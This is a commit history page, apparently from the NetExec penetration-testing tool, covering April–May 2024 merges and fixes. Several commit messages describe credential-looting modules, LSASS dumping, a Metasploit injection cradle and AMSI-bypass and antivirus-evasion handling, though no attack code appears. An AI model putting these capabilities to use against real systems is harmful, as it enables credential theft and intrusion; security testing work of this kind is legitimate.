Compare commits

...
1195 Commits
Author SHA1 Message Date
Alexander Neff 7ece66762e Update paramiko to latest version due to debian update 2024-05-29 10:51:22 -04:00
Alexander Neff 81e4360004 Merge branch 'main' into kali 2024-05-29 10:47:21 -04:00
Alex 6858958864 Merge pull request #327 from Pennyw0rth/ItsAlwaysDNS
ItsAlwaysDNS
2024-05-29 16:44:09 +02:00
Alexander Neff 03e25b708f Merge branch 'main' into ItsAlwaysDNS 2024-05-29 10:30:04 -04:00
Alex 64319fdb3c Merge pull request #326 from Pennyw0rth/marshall-windows-fixes
Windows Fixes for v1.2
2024-05-29 16:27:03 +02:00
Alexander Neff 8db769e290 Fix tests and remove unnecessary abspath 2024-05-28 09:38:12 +02:00
Alexander Neff f06d50d931 Fix lock file 2024-05-27 18:49:51 -04:00
Alexander Neff 8e511c192c Merge branch 'ItsAlwaysDNS' into kali 2024-05-27 18:49:18 -04:00
Alexander Neff 20e01f92eb Version bump 2024-05-27 18:45:00 -04:00
Alexander Neff 9d70105230 More path fixes 2024-05-28 00:20:34 +02:00
Alexander Neff 69e47d15cb Fix issues with hardcoded /tmp 2024-05-27 23:17:30 +02:00
Alexander Neff bd7202d2c5 Fix test suite 2024-05-27 23:07:13 +02:00
Alexander Neff 63a78cb176 Fix ssh tests 2024-05-27 02:52:58 -04:00
Alexander Neff b6c57ce13a Change only git bash encoding to utf8 2024-05-27 08:05:09 +02:00
Alex 928b0d947e Add utf-8 default to testing suite 2024-05-26 19:14:12 +02:00
Alex 68fb2d3e86 Change default encoding to utf-8 2024-05-26 19:04:36 +02:00
Alex 1111e11108 Add executable testing 2024-05-26 18:24:36 +02:00
Alexander Neff d0f07b4138 Fix spec file for smb 2024-05-26 07:26:21 -04:00
Marshall Hallenbeck 53646f9d31 Merge branch 'main' into marshall-windows-fixes
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-25 11:02:18 -05:00
Alex b855dac2b6 Merge pull request #315 from Pennyw0rth/neff-e2e_tests 2024-05-25 17:26:36 +02:00
Alexander Neff 404bff5e26 Merge branch 'main' into neff-e2e_tests 2024-05-25 10:51:19 -04:00
zblurx ad923f842d Merge pull request #225 from Pennyw0rth/passwords_dump_update
Passwords dump update
2024-05-25 13:44:53 +02:00
Marshall Hallenbeck 49f6f9cbfd Merge branch 'main' into neff-e2e_tests
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-24 10:07:28 -05:00
Marshall Hallenbeck f060aeb75f Merge branch 'main' into passwords_dump_update
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-24 09:58:28 -05:00
Marshall Hallenbeck 630d32592e Merge pull request #325 from Fabrizzio53/main
Added --dns-tcp,--dns-timeout and --dns-server parameters to the ldap protocol when using --bloodhound
2024-05-24 09:55:37 -05:00
Fabrizzio53 a4e9ef21ce Update proto_args.py
Signed-off-by: Fabrizzio53 <[email protected]>
2024-05-23 23:22:16 -03:00
Fabrizzio53 ddb89b9a4b Update ldap.py
Signed-off-by: Fabrizzio53 <[email protected]>
2024-05-23 23:21:57 -03:00
Marshall Hallenbeck 40862382f1 Merge pull request #321 from Pennyw0rth/marshall-options-fix
Refactor argparse options
2024-05-23 20:13:00 -05:00
Marshall Hallenbeck 3def5487ee fix: add back in option that was accidentally removed during merge conflict 2024-05-23 20:00:03 -04:00
Marshall Hallenbeck 6b92270a38 fix(slinky): use proper TMP and allow custom shares to ignore 2024-05-23 11:07:36 -04:00
Marshall Hallenbeck 9879edffca fix(paths): change TMP creation to if/else, so Windows properly sets 2024-05-23 11:07:05 -04:00
Marshall Hallenbeck 0983f7950e dns: allow DNS options to be called anywhere on the command line 2024-05-22 17:08:34 -04:00
Marshall Hallenbeck 12a7fa0b2f Merge branch 'main' into marshall-options-fix
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-22 15:11:49 -05:00
Marshall Hallenbeck 2191deebce Merge pull request #309 from Pennyw0rth/neff-add-ldapquery
Add ldap query option
2024-05-22 15:06:01 -05:00
Marshall Hallenbeck db41c0893a Merge pull request #317 from Pennyw0rth/neff-command-execution
Improving execution speed and misc command execution improvements
2024-05-22 15:05:38 -05:00
Marshall Hallenbeck 06b1e066ba Merge pull request #307 from Pennyw0rth/marshall-wcc-fix
Fix: WCC Module - do not create log file on every file load
2024-05-22 15:04:22 -05:00
zblurx 9d6188eadf fix doublespace 2024-05-22 10:06:01 +02:00
Marshall Hallenbeck 16508f89d4 Merge branch 'main' into marshall-options-fix
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-21 14:46:09 -05:00
Marshall Hallenbeck ab23659c7f fix(wcc): reduce spammy output for wcc (will fix this in a better way later); closes #232 2024-05-21 14:38:50 -05:00
Marshall Hallenbeck 42642016ba remove newline
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-21 14:38:50 -05:00
Marshall Hallenbeck 6fdead466e fix(wcc): remove unnecessary comments and whitespace
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-21 14:38:50 -05:00
Marshall Hallenbeck d91e15413e fix(wcc): do not create the wcc log file every time -L is ran, etc 2024-05-21 14:38:50 -05:00
Marshall Hallenbeck de2541e212 tests: add more exec-method testss 2024-05-21 14:55:11 -04:00
zblurx dba83a43f9 multiple fixes 2024-05-21 20:29:42 +02:00
Marshall Hallenbeck 4d6b3b3f71 tests: add exec-method tests for cmd 2024-05-21 13:09:01 -04:00
zblurx 67de1a1fa1 fix on dpapiSystem object 2024-05-21 17:49:51 +02:00
Marshall Hallenbeck 4afc67422a ruff: apply ruff 2024-05-21 11:30:27 -04:00
Marshall Hallenbeck cfbfeec7a7 tests: just always print failures, and remove option; update tmp folder logic, add put/get file tests for smb, and fix file referencing in tests 2024-05-21 11:30:07 -04:00
zblurx 57f35d453c fix error message condition 2024-05-21 14:45:02 +02:00
zblurx 8a0dcf0429 Merge branch 'main' into passwords_dump_update
Signed-off-by: zblurx <[email protected]>
2024-05-21 14:24:24 +02:00
zblurx dd7cbb6e74 fix ruff warnings 2024-05-21 14:19:06 +02:00
zblurx 85c44fa7bd update e2e 2024-05-21 14:15:47 +02:00
zblurx 7e90d8082f fixed sccm 2024-05-21 14:15:22 +02:00
zblurx 9b74ea59c3 update vnc 2024-05-21 12:46:05 +02:00
zblurx 1c740bd199 changed sccm to go as a core option 2024-05-21 10:39:01 +02:00
zblurx f530cbdc58 add e2e commands for mremoteng and mobaxterm 2024-05-21 10:21:25 +02:00
zblurx a07ee5f23f update vnc module 2024-05-21 10:14:36 +02:00
Marshall Hallenbeck f3b73ffdf2 fix(mssql): check if output isnt an empty list/None before trying to stringify it for output 2024-05-20 16:05:44 -04:00
Alexander Neff b0e9fe24f9 Fix test paths 2024-05-20 13:50:31 -04:00
Alexander Neff f58d7385aa Merge branch 'main' into neff-e2e_tests 2024-05-20 12:54:36 -04:00
Alexander Neff 837f9a04a2 Fix "tries" logic due to merge and beautify code 2024-05-20 12:48:52 -04:00
Alexander Neff 2e73007281 Merge branch 'main' into neff-command-execution 2024-05-20 12:36:27 -04:00
Marshall Hallenbeck cf231d5985 Merge pull request #296 from Pennyw0rth/marshall-pwsh-update
Refactor/fix/update PowerShell and related features
2024-05-20 11:27:28 -05:00
Marshall Hallenbeck 23a7d11eeb fix: revert output for command execution and normalize it to what SMB was 2024-05-20 12:23:57 -04:00
Marshall Hallenbeck e10e38f152 Merge branch 'main' into marshall-pwsh-update
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-20 11:09:01 -05:00
Marshall Hallenbeck f8655022cf fix(smb): change command output back to match mssql (one big blob) 2024-05-20 12:11:17 -04:00
Marshall Hallenbeck d0a4afe19b Merge pull request #196 from XiaoliChan/dns
[DNS] Add DNS args
2024-05-20 10:55:50 -05:00
Alex ca01584f76 Merge pull request #318 from Pennyw0rth/Marshall-Hallenbeck-patch-1
fix(tests): add spaces & fix one file reference
2024-05-20 17:54:49 +02:00
Marshall Hallenbeck bda8700a58 fix(tests): add spaces & fix one file reference
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-20 11:46:52 -04:00
Alexander Neff 447d1719c1 Add exec methods to e2e tests 2024-05-20 11:14:01 -04:00
Alexander Neff 4ffcc83bcc Make execution methods more efficient and wait powershell execution if detectable 2024-05-20 10:50:48 -04:00
Alexander Neff 5655e5c0fd Replace fixed default text with argparse default string 2024-05-20 09:33:46 -04:00
Alexander Neff 9be17e92d9 Fix wrong function call 2024-05-20 06:11:33 -04:00
Alexander Neff 0166a426f0 Merge branch 'main' into dns 2024-05-20 05:57:38 -04:00
Marshall Hallenbeck 65030d7662 Merge pull request #313 from Pennyw0rth/neff-fix-ssh
Handle paramiko error when bruteforcing
2024-05-19 16:47:00 -05:00
Marshall Hallenbeck 198f8f8a79 Merge pull request #314 from Pennyw0rth/marshall-tests-fix
Fix for tests referencing files, password/username variable, and a couple KERBEROS space issues
2024-05-19 16:46:13 -05:00
Marshall Hallenbeck 47b1c1f738 fix(wmi): add auth_level to kerberos auth, revert my previous changes, move Impacket silencing, add debugging 2024-05-19 17:41:38 -04:00
Alexander Neff 4bc012655d Remove left over code 2024-05-19 17:12:01 -04:00
Alexander Neff 1fce072cbe Merge branch 'marshall-tests-fix' into neff-e2e_tests 2024-05-19 17:00:10 -04:00
Alexander Neff c1d52364b3 Removing retries logic 2024-05-19 16:51:49 -04:00
Marshall Hallenbeck 2f098f2420 fix(tests): improve data directory finding so you can run tests in root dir or tests dir and the path names should resolve 2024-05-19 15:17:51 -05:00
Alexander Neff d2760dc287 Added error handling for paramiko internals 2024-05-19 13:06:01 -04:00
Alexander Neff 7cf94d297b Create connection object for every auth request 2024-05-19 12:36:19 -04:00
Alexander Neff 393b607a1b Adding a banner_timeout as this might fix #312 according to https://github.com/paramiko/paramiko/issues/1752#issuecomment-979219861 2024-05-19 08:59:12 -04:00
Alexander Neff a98bfab28d Add timeout to the plaintext login 2024-05-19 08:51:42 -04:00
Alexander Neff 407e707847 Remove --options tests as they dont provide any additional value 2024-05-19 08:48:16 -04:00
Alexander Neff 5e255bc17c Fix brute force tests with cwd path 2024-05-18 21:12:09 -04:00
Alexander Neff 18d519dd68 Disable rdp module and add putty tests 2024-05-18 21:09:24 -04:00
Alexander Neff b3c1e4f5c2 Delete deprecated bh_owned module 2024-05-18 21:08:55 -04:00
Alexander Neff 45b03e78d5 Improve testing and add retries 2024-05-18 21:08:20 -04:00
Marshall Hallenbeck 65a41b8408 Merge branch 'main' into dns 2024-05-17 19:37:10 -05:00
Marshall Hallenbeck 5197a0eaf3 Merge pull request #310 from Pennyw0rth/marshall-pr-template-fix
fix: move PR template to the correct location
2024-05-17 19:26:23 -05:00
Marshall Hallenbeck e2e0297a3a Merge remote-tracking branch 'XiaoliChan/dns' into pr-196 2024-05-17 19:37:59 -04:00
Marshall Hallenbeck 95ac1af00a fix(wmi): handle Kerberos auth failures and return proper error codes 2024-05-17 19:33:58 -04:00
Alex 078b0ff451 Merge branch 'main' into dns 2024-05-18 01:20:16 +02:00
Marshall Hallenbeck cdd62033ea fix: move PR template to the correct location 2024-05-17 19:14:18 -04:00
Alexander Neff a2d43caa2a Add ldap query option 2024-05-17 13:24:09 -04:00
Marshall Hallenbeck cd088a0bd7 fix(ruff): ignore oneliner alert 2024-05-17 12:25:26 -04:00
Marshall Hallenbeck 736db4dbd7 update force_ps32 if/then for readability (and add Ruff ignore - blame Neff!) 2024-05-17 11:10:05 -04:00
Marshall Hallenbeck 6213c6456d remove blank line 2024-05-17 10:56:54 -04:00
Marshall Hallenbeck 4ae085403d remove excess tab 2024-05-17 10:56:29 -04:00
Marshall Hallenbeck e4925d301d clarify debug message 2024-05-17 10:53:53 -04:00
Marshall Hallenbeck ca3291877a update error when execution is blocked by AMSI 2024-05-17 10:52:57 -04:00
Marshall Hallenbeck 0910b98af6 docs: update options to clarify what certain flags are for 2024-05-17 10:51:52 -04:00
Marshall Hallenbeck aa9b044e7b Merge pull request #308 from Pennyw0rth/marshall-hash-spider-fix
Fix: hash_spider Lsassy Parser syntax
2024-05-17 09:29:27 -05:00
Alexander Neff 34c3c29266 Remove hash_spider setting logging attributes (they are wrong anyway) 2024-05-17 10:19:32 -04:00
Marshall Hallenbeck 730b57248d fix(hash_spider): update calling lsassy Parser since it was changed 4 months ago 2024-05-17 09:28:55 -04:00
Marshall Hallenbeck 98244994b9 tests: add hash spider test db to gitignore 2024-05-17 09:28:31 -04:00
Marshall Hallenbeck 152958ed13 fix: remove restrictions on smb and ldap port choice 2024-05-16 21:09:40 -04:00
Marshall Hallenbeck eb7707a076 refactor(args): update remaining protos to use new default formatter for printing arg defaults 2024-05-16 21:08:44 -04:00
Marshall Hallenbeck 913c760115 tests: re-enable rdp options and fix wmi rdp call 2024-05-16 20:51:39 -04:00
Marshall Hallenbeck c06198807d fix(cli): remove secondary aeskey and kdchost long form options since its not possible to use two 2024-05-16 20:49:32 -04:00
Alex 7b5306c92c Merge branch 'main' into marshall-pwsh-update 2024-05-17 02:24:25 +02:00
Marshall Hallenbeck 66bdcdf1ab fix command exec method group naming 2024-05-16 20:16:44 -04:00
Marshall Hallenbeck b5bc29db25 feat(args): add additional, more pythonic options for cmd args 2024-05-16 20:15:50 -04:00
Marshall Hallenbeck 12141907df feat(smb): show defaults if not None/empty if they are set 2024-05-16 20:13:30 -04:00
Marshall Hallenbeck f021cde6f4 refactor(args): change Authentication to its own arg section and show defaults if set and not None/empty/etc 2024-05-16 20:12:51 -04:00
Marshall Hallenbeck e16a66af6d refactor(smb args): update smb arg parsing naming to make sense 2024-05-16 19:51:27 -04:00
Marshall Hallenbeck 70a99a7da5 feat(options): change how args are parsed and passed, allowing --debug, etc to be used anywhere 2024-05-16 18:26:18 -04:00
Marshall Hallenbeck e3baadb108 Merge pull request #249 from Pennyw0rth/neff-putty
Add PuTTY module and fix WinSCP
2024-05-16 13:44:41 -05:00
mpgn c7c1f06323 Merge pull request #265 from Pennyw0rth/mpgn-patch-1
Update test.yml to include pipx install
2024-05-16 16:46:12 +02:00
mpgn d23669b5d0 Update test.yml
Signed-off-by: mpgn <[email protected]>
2024-05-16 08:53:37 +02:00
mpgn b1b64a8e23 Update test.yml to remove line
Signed-off-by: mpgn <[email protected]>
2024-05-16 08:53:37 +02:00
mpgn c64366068c Update test.yml to include pipx install
#252 

Signed-off-by: mpgn <[email protected]>
2024-05-16 08:53:37 +02:00
Alexander Neff 59c6033bc7 Add proxycreds saving to file 2024-05-15 19:27:04 -04:00
Alex 94a0b7adad Merge pull request #305 from Pennyw0rth/neff-patch-bloodhound 2024-05-15 02:15:09 +02:00
Alexander Neff faf7f18224 Revert a9bd576392 2024-05-14 20:09:52 -04:00
Alexander Neff a79680aeff Add timestamp to save file 2024-05-14 19:39:42 -04:00
Marshall Hallenbeck a194fda283 Merge pull request #298 from termanix/patch-2
Update e2e_commands.txt
2024-05-14 12:54:03 -05:00
Marshall Hallenbeck 9f61d8ba3b Merge pull request #304 from Pennyw0rth/fix-dependency
fix issue #252
2024-05-14 12:53:48 -05:00
mpgn aff33d677e fix issue #252 2024-05-14 17:09:01 +02:00
Alexander Neff f4bac9b92f Revert logging change to original state 2024-05-12 18:52:34 -04:00
Alexander Neff d644ac1499 Correct comment 2024-05-12 18:46:11 -04:00
Alexander Neff f92f7f585f Merge branch 'main' into dns 2024-05-12 18:44:22 -04:00
Alexander Neff 06e107dd10 Remove "remoteHost" in favour of "host" to keep only one variable, also some formatting 2024-05-12 18:35:05 -04:00
Marshall Hallenbeck 76a01909bb Merge pull request #299 from Pennyw0rth/Marshall-Hallenbeck-patch-1
Create Pull Request Template
2024-05-12 14:48:52 -05:00
Alex c699c6da74 Merge pull request #291 from Pennyw0rth/neff-jitter
Change jitter option to throttle authentications
2024-05-12 20:42:35 +02:00
Alex 0cf9d72983 Merge pull request #282 from wumb0/281-multi-file-put 2024-05-12 11:58:37 +02:00
Alex 6c148c6ac8 Merge branch 'main' into neff-putty 2024-05-12 02:56:45 +02:00
Marshall Hallenbeck c56f08704e Merge branch 'main' into marshall-pwsh-update
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-11 19:36:08 -05:00
Alexander Neff 4cc6676e12 Renaming input target variable inside connection object 2024-05-11 18:00:30 -04:00
Alexander Neff f49f890226 Formating and stuff 2024-05-11 15:20:13 -04:00
Marshall Hallenbeck 574afc0d5e Merge branch 'main' into 281-multi-file-put 2024-05-11 11:38:45 -05:00
Marshall Hallenbeck 535a1061b6 Merge pull request #297 from Pennyw0rth/marshall-tests-byid
Feat: Allow for running specific e2e tests by line number
2024-05-10 18:43:12 -05:00
Alexander Neff 93441f2190 Add screenshot section to PR template 2024-05-10 17:41:09 -04:00
Marshall Hallenbeck daede6d00a fix english 2024-05-10 15:52:11 -04:00
Marshall Hallenbeck 5c39381dfc docs: update feature_request.md to include proper template code 2024-05-10 15:51:28 -04:00
Marshall Hallenbeck aedfc37a19 Create pull_request_template.md
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-05-10 15:44:24 -04:00
Marshall Hallenbeck 0586d844a7 fix(tests): only print failure line if there were failures 2024-05-10 15:30:36 -04:00
termanix 9e68ba5602 Update e2e_commands.txt
WMI moved to after SMB, removed a few flags for now.

Signed-off-by: termanix <[email protected]>
2024-05-10 22:22:02 +03:00
termanix 3b1ca12ef0 Update e2e_commands.txt
Removed bitlocker modules for adding to #286

Signed-off-by: termanix <[email protected]>
2024-05-10 21:57:02 +03:00
Marshall Hallenbeck a5e61bf6ac feat(tests): allow for specifying certain line numbers, allow for printing all failed commands, and properly use single quotes for linux 2024-05-10 14:48:09 -04:00
termanix bb8f30bd9f Update e2e_commands.txt
Added SMB bitlocker module, added WMI some flags and all modules.

Signed-off-by: termanix <[email protected]>
2024-05-10 21:46:58 +03:00
Marshall Hallenbeck 27a0b78a86 tests: add and update tests related to powershell 2024-05-10 11:37:59 -04:00
Marshall Hallenbeck ca74acd1b1 fix(met_inject): simplify metasploit cradle, add logging, and update documentation; related to #223 2024-05-10 11:37:41 -04:00
Marshall Hallenbeck 27014a5b25 feat(powershell): large amount of fixes and improvements
- large amount of debugging added to powershell
- powershell helper refactored to fix obfuscation, running in 32 bit mode, encoding, etc
- turn off obfuscation by default for powershell, since defender picks it up easily
- turn off amsi-bypass by default, since it was an incredibly old signatured bypass (users can still pass in their own)
- check if virus detected in wmiexec
- more error checking for powershell
- update mssql powershell to match smb
- more error checking for mssql queries
- better handling of quotes for powershell queries, since we have almost 4 layers of quoting (python, mssql, cmd, powershell)
2024-05-10 11:32:16 -04:00
Marshall Hallenbeck 90877ddd63 feat(tests): allow for specifying certain line numbers, allow for printing all failed commands, and properly use single quotes for linux 2024-05-10 10:59:40 -04:00
Marshall Hallenbeck 85bcbf312c fix(powershell): fix running via ps32, both with and without obfuscation 2024-05-09 13:06:25 -04:00
Marshall Hallenbeck eb9bf61790 powershell: update powershell parameters, clean up code, and add debugging 2024-05-09 11:58:29 -04:00
Marshall Hallenbeck 2172231729 refactor: remove unnecessary new lines 2024-05-08 14:49:57 -04:00
Alexander Neff f0b2d3984c Add more jitter to e2e tests 2024-05-08 13:59:43 -04:00
Marshall Hallenbeck 04df1e7641 smb: properly obfs or not depending on args 2024-05-08 12:24:57 -04:00
Marshall Hallenbeck e342c3e26f tests: add what was our default amsi bypass for testing 2024-05-08 12:24:37 -04:00
Marshall Hallenbeck b219e8f7e0 pwsh: remove commented code and remove easily detected amsi bypass (default to none) 2024-05-08 12:24:18 -04:00
Alexander Neff 97c729c62d Add jitter to e2e tests 2024-05-08 06:31:16 -04:00
Marshall Hallenbeck 61a2cf1a72 Merge branch 'main' into dns 2024-05-05 17:52:02 -05:00
Alexander Neff a2f856d6c4 Add comments 2024-05-05 17:58:45 -04:00
Alexander Neff 2770a52ed8 Convert jitter into authentication throttle 2024-05-05 17:51:19 -04:00
Marshall Hallenbeck a677b37414 Merge pull request #290 from Pennyw0rth/marshall-fix-logging
Reduce third party debug logging
2024-05-05 12:15:19 -05:00
Alexander Neff 4b4036a5a1 Fixing password decryption length 2024-05-05 12:29:49 -04:00
Alexander Neff 193d49cee9 Add realvnc proxy credential looting 2024-05-05 11:26:46 -04:00
Marshall Hallenbeck 8560f7b921 Merge branch 'main' into dns 2024-05-04 14:30:58 -05:00
Marshall Hallenbeck 0ca3c43f02 fix(logger): set overall logging level to INFO for third party loggers instead of DEBUG when --debug is set 2024-05-03 15:48:49 -04:00
Marshall Hallenbeck 045a9649fd fix(logger): set exc_text to error text if it is none (found via 288) 2024-05-03 15:36:40 -04:00
Alex 25f0b59842 Merge pull request #285 from Pennyw0rth/neff-fix-bin 2024-04-30 20:55:26 +02:00
Alexander Neff d8bd8e14b9 Fix #284 2024-04-30 14:35:30 -04:00
Alexander Neff e1f4759faf Merge main into passwords_dump_update 2024-04-29 17:02:12 -04:00
wumb0 3216380291 Merge branch 'main' into 281-multi-file-put 2024-04-29 13:09:03 -04:00
wumb0 abfd76cf4f remove uneeded logic from put_file and get_file 2024-04-29 09:10:39 -04:00
Alex 4eb9838cfb Merge pull request #283 from Pennyw0rth/Marshall-Hallenbeck-patch-1 2024-04-29 02:48:02 +02:00
Marshall Hallenbeck f1976ac721 Create feature_request.md
add generic feature_request template from https://github.com/go-fed/activity/blob/master/.github/ISSUE_TEMPLATE/feature-request-template.md

Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-04-28 19:32:39 -05:00
wumb0 fe1064b333 also added multi-file get 2024-04-28 12:46:13 -04:00
wumb0 8fb9bc0d75 add multi-file put, keeping compatibiltiy with old format (tuple) -
Pennyw0rth/NetExec#281
2024-04-28 12:39:37 -04:00
Marshall Hallenbeck 52d45116e4 Merge pull request #269 from Pennyw0rth/neff-dependencies
Updating dependencies
2024-04-27 20:01:21 -05:00
Alexander Neff e86e13f7fd Add commit name kali to the kali packaging branch 2024-04-27 18:54:12 -04:00
Alexander Neff ab5966f8d9 Fix lint error 2024-04-27 18:38:44 -04:00
Alex c2a266923f Merge branch 'main' into neff-dependencies 2024-04-28 00:35:16 +02:00
Alex 62dcc28048 Merge pull request #250 from Pennyw0rth/neff-fix-modules
Fix bug where modules would be the same object across protocols
2024-04-28 00:15:16 +02:00
Marshall Hallenbeck 9a054871c4 Merge pull request #271 from Pennyw0rth/neff-asreproast
Fixing #263
2024-04-27 15:57:36 -05:00
Marshall Hallenbeck 60db63436e Merge pull request #277 from sepauli/sepauli/fix-mssql_priv
fix mssql_priv
2024-04-27 15:37:54 -05:00
Alexander Neff d7918cd655 Fix context logger in different modules 2024-04-27 16:34:11 -04:00
Alexander Neff 768d462844 Fix context logger in mssql_priv 2024-04-27 08:51:00 -04:00
sepauli a6271cef24 fix is_admin_user function 2024-04-26 23:58:51 +02:00
sepauli fe0ec9c040 fix mssql_priv 2024-04-26 23:29:00 +02:00
Alexander Neff 0d84189d7f Show exception only in debug mode 2024-04-25 15:45:28 -04:00
Marshall Hallenbeck 0ffa19debf Merge pull request #272 from Pennyw0rth/neff-fix-ssh
Fix ssh auth message
2024-04-25 10:09:57 -04:00
Alexander Neff c873246a11 Add msldap=^0.5.10 2024-04-23 18:33:11 -04:00
Alexander Neff 18c3fd0b30 Add msldap to fix #274 2024-04-23 18:16:10 -04:00
Alexander Neff 144690d846 Merging neff-dependencies into kali-packaging 2024-04-22 16:17:11 -04:00
Alexander Neff ee88b806b7 Merging main into kali-packaging 2024-04-22 15:52:50 -04:00
Alexander Neff d9ce7a45df Keep backwards compatability with datetime 2024-04-21 16:55:48 -04:00
Alex 1f8a0ef491 Merge pull request #270 from exploide/ldap-checker-py3.12
ldap-checker: fix for Python 3.12 compatibility
2024-04-21 15:28:08 -04:00
Alex 1ca2fd51b2 Merge pull request #248 from termanix/update_active_users
Ldap active users bug fix
2024-04-21 15:04:13 -04:00
Alexander Neff 71f9fdaa3f Change privilege feedback 2024-04-21 14:03:40 -04:00
Alexander Neff 5208c42aaa Fix ssh auth message 2024-04-21 12:53:49 -04:00
exploide b08c509b3c ldap-checker: use SSLContext.wrap_socket() instead of ssl.wrap_socket() for Python 3.12+ compatibility 2024-04-21 17:44:47 +02:00
Alexander Neff f649c04d0d Check if we got a TGT 2024-04-21 11:16:35 -04:00
Alexander Neff 798770479a Remove deprecated utcnow() function, add better exception handling and fix bug where bool instead of None would be returned 2024-04-21 11:10:28 -04:00
Alexander Neff 12779c43f4 Change strings to format strings, to prevent concatination errors 2024-04-21 11:09:46 -04:00
Alexander Neff 32bc19a0d5 Add logging statement if useraccountcontrol is none 2024-04-21 10:44:50 -04:00
Alexander Neff bc4416d567 Change CRLF to LF to match all other files 2024-04-20 20:03:22 -04:00
Alexander Neff e37c868529 Losening the sqlalchemy version 2024-04-20 19:55:20 -04:00
Marshall Hallenbeck 84cecd5968 Merge branch 'main' into dns 2024-04-20 13:41:26 -04:00
Alexander Neff 992ddc82b4 Updating dependencies to reflect critically needed packages and current kali installations 2024-04-19 21:39:48 -04:00
Alexander Neff f0fa89b88d Sorting dependencies 2024-04-19 20:58:47 -04:00
Alexander Neff bc50a2ce87 Merge main into kali-packaging 2024-04-18 19:11:21 -04:00
Alexander Neff f3fd612b56 Update lsassy to 3.1.10 2024-04-18 15:07:10 +02:00
mpgn cd363e97ad Update lsassy.py
it's breaking since update to 3.1.9

Signed-off-by: mpgn <[email protected]>
2024-04-18 15:07:10 +02:00
Alex 4e98f7bb02 Merge pull request #259 from Pennyw0rth/fix_computers_enum 2024-04-17 17:50:42 -04:00
zblurx 16c6ebfe1a fix computers enum 2024-04-17 13:07:25 +02:00
Alex 9662ef69a2 Merge pull request #257 from Pennyw0rth/neff-fix-too-many-files
Fix "Too many open files"
2024-04-16 14:33:03 -04:00
Alexander Neff 5d70195b93 Fix "Too many files" error from discord 2024-04-16 14:02:04 -04:00
Marshall Hallenbeck 7d44b11c2b Merge pull request #255 from Pennyw0rth/marshall-slinky-update
Update Slinky module
2024-04-15 20:09:11 -07:00
Marshall Hallenbeck 9e43aab3ee revert STATUS_LOGON_FAILURE change 2024-04-15 13:40:00 -04:00
Marshall Hallenbeck 89d3790aa4 feat(slinky): add SHARES and ICO_URI options; no longer try to write to SYSVOL share 2024-04-13 10:50:21 -07:00
Marshall Hallenbeck fcecda3696 smb(errors): add STATUS_LOGON_FAILURE to errors 2024-04-13 10:50:21 -07:00
Alex 46a97cc3a3 Merge branch 'main' into neff-fix-modules 2024-04-13 02:23:16 +02:00
Alex d19b5243f1 Merge pull request #254 from Pennyw0rth/neff-ssh
Fix ssh authentication with encrypted ssh file
2024-04-13 01:42:59 +02:00
Alexander Neff 4cabffb525 Fix ssh auth with all key files and fix password processing, also add better exception handling 2024-04-12 16:00:05 -04:00
Alexander Neff b0ccbe28e9 Fix ssh authentication with encrypted ssh file 2024-04-12 15:27:35 -04:00
XiaoliChan b39198aef7 Merge branch 'main' into dns
Signed-off-by: XiaoliChan <[email protected]>
2024-04-12 23:31:35 +08:00
Marshall Hallenbeck af9656eaee Merge pull request #251 from scottymiller9/main
fixed one grammar error repeated in several files
2024-04-08 11:31:26 -07:00
Scott Miller ca09910606 fixed one grammar error repeated in several files 2024-04-08 05:25:06 +00:00
Alex 32b96c23fb Merge branch 'main' into update_active_users 2024-04-07 16:17:28 +02:00
Alexander Neff 60c95ba8f6 Add proxy username and password 2024-04-06 19:55:27 -04:00
Alexander Neff 06415348dc Fix bug where modules would be the same object across protocols 2024-04-06 14:07:05 -04:00
Marshall Hallenbeck 9359ac26da Merge pull request #237 from Pennyw0rth/marshall-bugfix-3292024
bugfixes: add-computer & nanodump modules
2024-04-05 10:47:51 -07:00
Alex 2d7ac3c8f1 Merge pull request #246 from Pennyw0rth/neff-fix-168 2024-04-05 13:09:38 -04:00
Alex b123a4dc8f Merge branch 'main' into neff-putty 2024-04-05 12:02:37 -04:00
Alexander Neff a03e7720ed Add class annotation and module description 2024-04-05 11:56:25 -04:00
Alexander Neff 4ab7a39d25 Improve Code 2024-04-05 11:53:30 -04:00
Alexander Neff b5b2598995 Clean up code 2024-04-05 11:29:46 -04:00
Alexander Neff b85543d93c Change output formating 2024-04-05 11:21:56 -04:00
Alexander Neff 9b57d62354 Remove conusing example init parameter 2024-04-05 11:20:05 -04:00
Alexander Neff 52dd4fea15 Fix bug when registry for master password check does not exist 2024-04-05 10:56:15 -04:00
Alexander Neff 2f32d18f18 Improve code 2024-04-05 10:47:45 -04:00
Alexander Neff 4b8a44e64b Add putty module 2024-04-05 10:28:43 -04:00
termanix 09f45e866c Update ldap.py
Fixed ruff spaces

Signed-off-by: termanix <[email protected]>
2024-04-04 23:35:05 +03:00
termanix 98e7128293 Update ldap.py
Fixed ruff

Signed-off-by: termanix <[email protected]>
2024-04-04 23:31:09 +03:00
termanix 3523cd69cf Update ldap.py
Change variable name.

Signed-off-by: termanix <[email protected]>
2024-04-04 22:22:53 +03:00
termanix bd5a645571 Ldap active users bug fix 2024-04-04 22:17:53 +03:00
Alex 2f62e1c875 Merge pull request #247 from Pennyw0rth/neff-fix-binary 2024-04-04 14:54:13 -04:00
Alex 044f63b8f3 Merge branch 'main' into neff-fix-binary 2024-04-04 13:38:58 -04:00
Alexander Neff 0a42ebb6ec Add missing packages to spec file, fixing ldap and pso module 2024-04-04 12:20:38 -04:00
Alex 6104b5d27b Merge branch 'main' into marshall-bugfix-3292024 2024-04-04 11:59:28 -04:00
Alex 3be7a02810 Merge pull request #244 from Pennyw0rth/neff-fix-145
Fix tmp PATH on windows for msol and scuffy
2024-04-04 11:59:06 -04:00
Alexander Neff 13ca79f44f Add verbosity to dpapi, so the user knows if no secrets were found 2024-04-04 11:49:31 -04:00
XiaoliChan 393bc40e8c Bug fix
Signed-off-by: XiaoliChan <[email protected]>
2024-04-04 00:23:09 +08:00
